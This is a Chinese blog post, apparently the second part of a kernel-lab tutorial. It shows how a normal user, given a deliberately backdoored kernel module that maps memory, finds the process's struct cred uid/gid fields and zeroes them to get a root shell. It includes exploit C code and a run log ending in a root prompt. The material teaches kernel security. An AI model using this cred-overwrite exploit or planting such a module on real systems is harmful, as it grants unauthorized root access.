50

怎样在Linux内核中埋炸弹获取root权限<2/2>终结篇

 5 years ago
source link: https://www.tuicool.com/articles/NzqEze2
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

上文中的漏洞内核模块代码和应用层代码两者狼狈为奸,修改了系统内存中所有的 jeffnice+20jeffnice-19

普通用户既然能修改系统任意内存,那把自己的权限提升为root权限应该也不是一件难事了。

linux内核使用struct cred 结构体来表达一个进程的 credential(凭证)

struct cred {

...

kuid_t uid; /* real UID of the task */

kgid_t gid; /* real GID of the task */

kuid_t suid; /* saved UID of the task */

kgid_t sgid; /* saved GID of the task */

kuid_t euid; /* effective UID of the task */

kgid_t egid; /* effective GID of the task */

kuid_t fsuid; /* UID for VFS ops */

kgid_t fsgid; /* GID for VFS ops */

...

};

那我们现在就有思路了,我们只需要修改本进程对应的struct cred结构中的8个变量跟root用户的一样就行。

首先看看root用户运行的程序对应的上面结构中的8个变量是什么。

在系统中以root用户查看当前bash进程($$)对应的 uid gid

root@jeff:/# cat /proc/$$/status

Name:bash

State:S (sleeping)

Tgid:15684

Ngid:0

Pid:15684

PPid:15680

TracerPid:0

Uid:  0000

Gid:0000

FDSize:256

Groups:0 

NStgid:15684

NSpid:15684

NSpgid:15684

NSsid:14057

现在切换到普通用户查看当前bash进程($$)对应的 uid gid

jeff @jeff:~$ cat /proc/$$/status

Name:bash

State:S (sleeping)

Tgid:20882

Ngid:0

Pid:20882

PPid:20881

TracerPid:0

Uid:1003100310031003

Gid:1003100310031003

FDSize:256

Groups:1003 

NStgid:20882

NSpid:20882

NSpgid:20882

NSsid:20866

VmPeak:26412 kB

VmSize:26412 kB

现在在普通用户jeff终端下执行的程序,它的uid和gid也会跟上面的父进程(bash)进程一样,都会是 1003 . 而现在知道了root用户的所有uid和gid都是 0 .

我们的思路是,在普通用户jeff的终端下执行的程序,利用修改内存功能把自己进程对应的所有uid和gid都变成0,然后在程序中调用getuid()查看是否等于0,如果等于0,就说明普通用户jeff已经拿到了root权限。

代码:jeff-mmap.c (代码有删减)

printf("[+]mmap ok addr: %lx\n", addr);

while (((unsigned long)addr) < (mmapStart + size))

{

count = 0;

if (

addr[count++] == uid &&

addr[count++] == uid &&

addr[count++] == uid &&

addr[count++] == uid &&

addr[count++] == uid &&

addr[count++] == uid &&

addr[count++] == uid &&

addr[count++] == uid

) {

credNum ++;

printf("[+]found ptr:%p ,crednum:%d\n", addr, credNum);

count = 0;

addr[count++] = 0;

addr[count++] = 0;

addr[count++] = 0;

addr[count++] = 0;

addr[count++] = 0;

addr[count++] = 0;

addr[count++] = 0;

addr[count++] = 0;

if (getuid() == 0) {

printf("[+] root successed.\n");

execl("/bin/sh", "-", (char *)NULL);

printf("Execl Failed.\n");

break;

}

else {

count = 0;

addr[count++] = uid;

addr[count++] = uid;

addr[count++] = uid;

addr[count++] = uid;

addr[count++] = uid;

addr[count++] = uid;

addr[count++] = uid;

addr[count++] = uid;

}


jeff@jeff:~$ gcc ./mmap-get-root.c -o mmap-get-root

jeff@jeff:~$ ./mmap-get-root

[+] uid: 1003

[+]mmap ok addr: 57575000

[+]found ptr:0x8cab89c4 ,crednum:1

[+]found ptr:0x8cab8f04 ,crednum:2

[+]found ptr:0x1101f3604 ,crednum:3

[+] root successed.

#

执行./mmap-get-root 发现已经 root成功 了。

# cat /proc/$$/status

Name:sh

State:S (sleeping)

Tgid:20973

Ngid:0

Pid:20973

PPid:20882

TracerPid:0

Uid:0000

Gid:0000

FDSize:256

Groups:1003 

NStgid:20973

NSpid:20973

NSpgid:20973

NSsid:20866

VmPeak:4504 kB

VmSize:4504 kB

VmLck:0 kB

VmPin:0 kB

VmHWM:748 kB

VmRSS:748 kB

VmData:192 kB

VmStk:132 kB

VmExe:144 kB

本进程的uid和gid都变成了0

(完)

本文的源代码和上一篇的源代码都在这里:

https://github.com/x-lugoo/linux-kernel-lab/tree/master/mmap-root

好看请点“在看”和赞赏!


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK